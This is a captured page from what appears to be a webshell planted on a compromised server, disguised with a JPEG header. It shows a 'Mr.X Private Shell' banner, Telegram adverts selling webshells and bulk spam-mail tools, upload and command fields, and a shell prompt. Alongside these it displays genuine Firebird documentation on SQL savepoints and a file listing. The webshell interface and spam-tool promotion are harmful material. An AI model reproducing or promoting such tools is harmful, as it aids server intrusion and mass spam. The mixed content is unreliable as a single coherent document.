����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
SQL Language Extension: support for SQL99 savepoints

Syntax
========

SAVEPOINT <identifier>;

Use the SAVEPOINT statement to identify a point in a transaction
to which you can later roll back. <identifier> specifies the
name of a savepoint to be created. Savepoint names must be 
distinct within a given transaction. If you create a second
savepoint with the same identifer as an earlier savepoint,
the earlier savepoint is erased. After a savepoint has been 
created, you can either continue processing, commit your work,
roll back the entire transaction, or roll back to the savepoint.

ROLLBACK [WORK] TO [SAVEPOINT] <identifier>;

This statement performs the following operations:
 - Rolls back changes performed in the transaction after the savepoint
 - Erases all savepoints created after that savepoint. The named
   savepoint is retained, so you can roll back to the same savepoint
   multiple times. Prior savepoints are also retained.
 - Releases all implicit and explicit record locks acquired since the
   savepoint. Other transactions that have requested access to rows
   locked after the savepoint must continue to wait until the transaction
   is committed or rolled back. Other transactions that have not already
   requested the rows can request and access the rows immediately.
   Note: this behaviour may change in the future product versions.

RELEASE SAVEPOINT <identifier> [ONLY];

Use the RELEASE SAVEPOINT statement to erase savepoint <identifer>
from the transaction context. Unless you specify ONLY clause all savepoints
established since the savepoint <identifier> are erased too.

Author:
   Nickolay Samofatov <skidder@bssys.com>
   (original implementation of user savepoints)
   Dmitry Yemanov <yemanov@yandex.ru>
   (refactored DSQL layer and BLR for better SQL99 and JDBC compliance)

N O T E S
=========

1. Using savepoints (alternate name is "nested transactions") is a very 
  convenient method to handle business logic errors without rolling back 
  the transaction.
  
  Common pattern for this (Java) is:
    stmt.executeUpdate("SAVEPOINT MyClass$do_some_work");
    try {
      MyClass.do_some_work();
    } catch(Exception ex) {
      stmt.executeUpdate("ROLLBACK TO MyClass$do_some_work");
      throw;
    }
    stmt.executeUpdate("RELEASE SAVEPOINT MyClass$do_some_work");

2. User savepoints are not supported in PSQL. Use traditional PSQL 
  exception handling to undo changes performed in stored procedures 
  and triggers. Support of user savepoints in PSQL layer would break 
  the concept of statement atomicity (including procedure call statements).
  Each SQL/PSQL statement is executed under automatic system savepoint
  and either complete successfully or ALL its changes are rolled 
  back and exception is raised. Each PSQL exception handling block is
  also bounded by automatic system savepoints.

3. Savepoint undo log may consume significant amounts of server
  memory exceptionally if you update the same records in the
  same transaction multiple times. Use RELEASE SAVEPOINT statement
  to release system resources required for savepoint maintenance.
  
4. By default, engine uses automatic transaction-level system 
  savepoint to perform transaction rollback.  When you issue
  ROLLBACK statement all changes performed in this transaction
  are backed out via transaction-level savepoint and transaction
  is committed then. This logic is used to reduce amount of garbage 
  collection caused by rolled back transactions. When amount of 
  changes performed under transaction-level savepoint is getting large 
  (10^4-10^6 records affected) engine releases transaction-level 
  savepoint and uses TIP mechanism to roll back the transaction if 
  needed. You can use isc_tpb_no_auto_undo TPB flag to avoid creating 
  transaction-level savepoint if you expect large amount of changes 
  in your transaction.

Example
=======

create table test (id integer);
commit;
insert into test values (1);
commit;
insert into test values (2);
savepoint y;
delete from test;
select * from test; -- returns no rows
rollback to y; 
select * from test; -- returns two rows
rollback;
select * from test; -- returns one row

Filemanager

Name Type Size Permission Actions
README.PSQL_stack_trace.txt File 1.96 KB 0644
README.aggregate_filter.md File 941 B 0644
README.aggregate_tracking File 3.88 KB 0644
README.alternate_string_quoting.txt File 846 B 0644
README.autonomous_transactions.txt File 1.31 KB 0644
README.blob_append.md File 4.99 KB 0644
README.builtin_functions.txt File 29.49 KB 0644
README.case File 1.71 KB 0644
README.coalesce File 1.04 KB 0644
README.column_type_psql.txt File 871 B 0644
README.common_table_expressions File 4.78 KB 0644
README.context_variables File 4.66 KB 0644
README.context_variables2 File 8.47 KB 0644
README.cumulative_roles.txt File 2.27 KB 0644
README.current_time File 814 B 0644
README.cursor_variables.txt File 2.75 KB 0644
README.cursors File 2.43 KB 0644
README.data_type_results_of_aggregations.txt File 1.56 KB 0644
README.data_types File 8.31 KB 0644
README.db_triggers.txt File 1.8 KB 0644
README.ddl.txt File 22.52 KB 0644
README.ddl_access.txt File 1.53 KB 0644
README.ddl_triggers.txt File 11.67 KB 0644
README.default_parameters File 1.91 KB 0644
README.derived_tables.txt File 2.69 KB 0644
README.distinct File 813 B 0644
README.domains_psql.txt File 933 B 0644
README.exception_handling File 2.44 KB 0644
README.execute_block File 1.45 KB 0644
README.execute_statement File 4.24 KB 0644
README.execute_statement2 File 9.54 KB 0644
README.explicit_locks File 5.91 KB 0644
README.expression_indices File 1.3 KB 0644
README.external_connections_pool File 4.31 KB 0644
README.floating_point_types.md File 2.33 KB 0644
README.global_temporary_tables File 3.43 KB 0644
README.hex_literals.txt File 1.13 KB 0644
README.identity_columns.txt File 3.24 KB 0644
README.iif File 541 B 0644
README.isc_info_xxx File 3.61 KB 0644
README.joins.txt File 1.23 KB 0644
README.keywords File 5.26 KB 0644
README.leave_labels File 1.68 KB 0644
README.length File 486 B 0644
README.linger File 1.34 KB 0644
README.list File 1.04 KB 0644
README.management_statements_psql.md File 925 B 0644
README.mapping.html File 14.91 KB 0644
README.merge.txt File 1.77 KB 0644
README.null_value File 23 B 0644
README.nullif File 611 B 0644
README.offset_fetch.txt File 1.69 KB 0644
README.order_by_expressions_nulls File 1.67 KB 0644
README.packages.txt File 5.12 KB 0644
README.plan File 3.49 KB 0644
README.regr_functions.txt File 1.14 KB 0644
README.returning File 2.91 KB 0644
README.rows File 1.34 KB 0644
README.savepoints File 4.08 KB 0644
README.scrollable_cursors.txt File 3.06 KB 0644
README.select_expressions File 2.18 KB 0644
README.sequence_generators File 1.68 KB 0644
README.set_bind.md File 4.49 KB 0644
README.set_role File 768 B 0644
README.set_transaction.txt File 1.63 KB 0644
README.similar_to.txt File 9.53 KB 0644
README.sql_security.txt File 5.51 KB 0644
README.statistical_functions.txt File 1.6 KB 0644
README.subroutines.txt File 4.23 KB 0644
README.substring_similar.txt File 1.2 KB 0644
README.time_zone.md File 14.34 KB 0644
README.trim File 997 B 0644
README.universal_triggers File 2.77 KB 0644
README.update_or_insert File 1.38 KB 0644
README.user_management File 4.43 KB 0644
README.view_updates File 23 B 0644
README.window_functions.md File 14.92 KB 0644